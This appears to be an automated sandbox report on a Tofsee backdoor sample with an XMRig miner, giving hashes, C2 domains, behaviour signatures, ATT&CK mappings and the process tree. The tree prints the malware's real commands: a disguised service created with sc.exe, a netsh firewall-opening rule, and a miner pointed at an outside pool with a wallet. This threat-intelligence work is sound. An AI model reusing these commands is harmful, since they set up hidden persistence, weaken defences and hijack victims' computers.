Overview

overview

10

Static

static

f8a2e41ea8...6b.exe

windows7_x64

10

f8a2e41ea8...6b.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 06:43

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General

  • Target

    f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe

  • Size

    279KB

  • MD5

    d30b3148cfa81c0120ff7e263d08440e

  • SHA1

    6a2d819acfffebbfd48984dff663ca14ca49fe77

  • SHA256

    f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b

  • SHA512

    413c082854b1cea4735daefa14d5f99d763482009382bf80706201ef94d4bd59f4777fd0ebda444d8bbaeba8bef6192f643e710796e077cfdc42f982e1d4e520

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

niflheimr.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe
    "C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wasqdbuv\
      2⤵
        PID:4188
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sfugbskm.exe" C:\Windows\SysWOW64\wasqdbuv\
        2⤵
          PID:3876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wasqdbuv binPath= "C:\Windows\SysWOW64\wasqdbuv\sfugbskm.exe /d\"C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wasqdbuv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wasqdbuv
          2⤵
          • Launches sc.exe
          PID:4572
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5104
      • C:\Windows\SysWOW64\wasqdbuv\sfugbskm.exe
        C:\Windows\SysWOW64\wasqdbuv\sfugbskm.exe /d"C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4984

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\sfugbskm.exe
        Filesize

        13.6MB

        MD5

        ea5579f179c2e5acfe3b4ab49b12f921

        SHA1

        1f8c071dfd5cf58d91cbea321135a56e168b4bd9

        SHA256

        d563bac0a5b9079a8ff58791039b4ab471126cc8f788fb8d40be29d98fbacc3d

        SHA512

        f072032fbc49be56b32d031efbe8dbbd06a64037ae5fe2fa5230b13ea4f2c442a4c0d4b591c0155ce98f6ddd40d006073635cd157017c526410526bf7c2a413f

        Download Submit
      • C:\Windows\SysWOW64\wasqdbuv\sfugbskm.exe
        Filesize

        13.6MB

        MD5

        ea5579f179c2e5acfe3b4ab49b12f921

        SHA1

        1f8c071dfd5cf58d91cbea321135a56e168b4bd9

        SHA256

        d563bac0a5b9079a8ff58791039b4ab471126cc8f788fb8d40be29d98fbacc3d

        SHA512

        f072032fbc49be56b32d031efbe8dbbd06a64037ae5fe2fa5230b13ea4f2c442a4c0d4b591c0155ce98f6ddd40d006073635cd157017c526410526bf7c2a413f

        Download Submit
      • memory/1928-136-0x0000000000000000-mapping.dmp
        Download
      • memory/2084-137-0x0000000000000000-mapping.dmp
        Download
      • memory/2680-132-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

        Download
      • memory/2680-130-0x000000000062F000-0x000000000063C000-memory.dmp
        Filesize

        52KB

        Download
      • memory/2680-131-0x00000000021C0000-0x00000000021D3000-memory.dmp
        Filesize

        76KB

        Download
      • memory/2680-141-0x000000000062F000-0x000000000063C000-memory.dmp
        Filesize

        52KB

        Download
      • memory/2680-143-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

        Download
      • memory/2680-142-0x00000000021C0000-0x00000000021D3000-memory.dmp
        Filesize

        76KB

        Download
      • memory/3876-134-0x0000000000000000-mapping.dmp
        Download
      • memory/4188-133-0x0000000000000000-mapping.dmp
        Download
      • memory/4336-149-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

        Download
      • memory/4336-146-0x00000000007CB000-0x00000000007D8000-memory.dmp
        Filesize

        52KB

        Download
      • memory/4412-144-0x0000000000000000-mapping.dmp
        Download
      • memory/4412-155-0x0000000001DE0000-0x0000000001DE6000-memory.dmp
        Filesize

        24KB

        Download
      • memory/4412-167-0x0000000002DE0000-0x0000000002DE7000-memory.dmp
        Filesize

        28KB

        Download
      • memory/4412-164-0x0000000007900000-0x0000000007D0B000-memory.dmp
        Filesize

        4.0MB

        Download
      • memory/4412-150-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/4412-151-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/4412-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp
        Filesize

        2.1MB

        Download
      • memory/4412-145-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/4412-158-0x0000000001DF0000-0x0000000001E00000-memory.dmp
        Filesize

        64KB

        Download
      • memory/4412-161-0x0000000002DD0000-0x0000000002DD5000-memory.dmp
        Filesize

        20KB

        Download
      • memory/4572-138-0x0000000000000000-mapping.dmp
        Download
      • memory/4984-170-0x0000000000000000-mapping.dmp
        Download
      • memory/4984-171-0x0000000000C00000-0x0000000000CF1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/4984-176-0x0000000000C00000-0x0000000000CF1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/5104-140-0x0000000000000000-mapping.dmp
        Download